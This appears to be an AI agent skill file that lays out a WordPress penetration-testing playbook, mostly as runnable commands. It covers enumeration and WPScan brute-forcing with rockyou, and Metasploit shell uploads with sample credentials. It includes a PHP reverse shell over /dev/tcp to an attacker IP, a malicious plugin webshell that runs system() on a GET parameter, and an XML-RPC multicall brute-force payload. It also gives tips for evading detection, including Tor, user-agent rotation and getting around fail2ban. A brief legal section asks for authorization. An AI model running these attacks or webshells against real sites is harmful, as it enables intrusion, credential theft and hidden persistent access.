wordpress-penetration-testing by zebbern

---
name: WordPress Penetration Testing
description: This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
---

# WordPress Penetration Testing

## Purpose

Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.

## Prerequisites

### Required Tools
- WPScan (pre-installed in Kali Linux)
- Metasploit Framework
- Burp Suite or OWASP ZAP
- Nmap for initial discovery
- cURL or wget

### Required Knowledge
- WordPress architecture and structure
- Web application testing fundamentals
- HTTP protocol understanding
- Common web vulnerabilities (OWASP Top 10)

## Outputs and Deliverables

1. **WordPress Enumeration Report** - Version, themes, plugins, users
2. **Vulnerability Assessment** - Identified CVEs and misconfigurations
3. **Credential Assessment** - Weak password findings
4. **Exploitation Proof** - Shell access documentation

## Core Workflow

### Phase 1: WordPress Discovery

Identify WordPress installations:

```bash
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
```

Key WordPress files and directories:
- `/wp-admin/` - Admin dashboard
- `/wp-login.php` - Login page
- `/wp-content/` - Themes, plugins, uploads
- `/wp-includes/` - Core files
- `/xmlrpc.php` - XML-RPC interface
- `/wp-config.php` - Configuration (not accessible if secure)
- `/readme.html` - Version information

### Phase 2: Basic WPScan Enumeration

Comprehensive WordPress scanning with WPScan:

```bash
# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v
```

### Phase 3: WordPress Version Detection

Identify WordPress version:

```bash
# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
```

Version sources:
- Meta generator tag in HTML
- readme.html file
- RSS/Atom feeds
- JavaScript/CSS file versions

### Phase 4: Theme Enumeration

Identify installed themes:

```bash
# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
```

Theme vulnerability checks:
```bash
# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
```

### Phase 5: Plugin Enumeration

Identify installed plugins:

```bash
# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
```

Common vulnerable plugins to check:
```bash
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
```

### Phase 6: User Enumeration

Discover WordPress users:

```bash
# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
```

### Phase 7: Comprehensive Enumeration

Run all enumeration modules:

```bash
# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive
```

### Phase 8: Password Attacks

Brute-force WordPress credentials:

```bash
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
```

Password attack methods:
- `wp-login` - Standard login form
- `xmlrpc` - XML-RPC multicall (faster)
- `xmlrpc-multicall` - Multiple passwords per request

### Phase 9: Vulnerability Exploitation

#### Metasploit Shell Upload

After obtaining credentials:

```bash
# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
```

#### Plugin Exploitation

```bash
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# Search for WordPress exploits
search type:exploit platform:php wordpress
```

#### Manual Exploitation

Theme/plugin editor (with admin access):

```php
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
```

Plugin upload method:

```bash
# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php

# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
```

### Phase 10: Advanced Techniques

#### XML-RPC Exploitation

```bash
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php

# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
```

#### Scanning Through Proxy

```bash
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
```

#### HTTP Authentication

```bash
# Basic authentication
wpscan --url http://target.com --http-auth admin:password

# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks
```

## Quick Reference

### WPScan Enumeration Flags

| Flag | Description |
|------|-------------|
| `-e at` | All themes |
| `-e vt` | Vulnerable themes |
| `-e ap` | All plugins |
| `-e vp` | Vulnerable plugins |
| `-e u` | Users (1-10) |
| `-e cb` | Config backups |
| `-e dbe` | Database exports |

### Common WordPress Paths

| Path | Purpose |
|------|---------|
| `/wp-admin/` | Admin dashboard |
| `/wp-login.php` | Login page |
| `/wp-content/uploads/` | User uploads |
| `/wp-includes/` | Core files |
| `/xmlrpc.php` | XML-RPC API |
| `/wp-json/` | REST API |

### WPScan Command Examples

| Purpose | Command |
|---------|---------|
| Basic scan | `wpscan --url http://target.com` |
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |

## Constraints and Limitations

### Legal Considerations
- Obtain written authorization before testing
- Stay within defined scope
- Document all testing activities
- Follow responsible disclosure

### Technical Limitations
- WAF may block scanning
- Rate limiting may prevent brute-force
- Some plugins may have false negatives
- XML-RPC may be disabled

### Detection Evasion
- Use random user agents: `--random-user-agent`
- Throttle requests: `--throttle 1000`
- Use proxy rotation
- Avoid aggressive modes on monitored sites

## Troubleshooting

### WPScan Shows No Vulnerabilities

**Solutions:**
1. Use API token for vulnerability database
2. Try aggressive detection mode
3. Check for WAF blocking scans
4. Verify WordPress is actually installed

### Brute-Force Blocked

**Solutions:**
1. Use XML-RPC method instead of wp-login
2. Add throttling: `--throttle 500`
3. Use different user agents
4. Check for IP blocking/fail2ban

### Cannot Access Admin Panel

**Solutions:**
1. Verify credentials are correct
2. Check for two-factor authentication
3. Look for IP whitelist restrictions
4. Check for login URL changes (security plugins)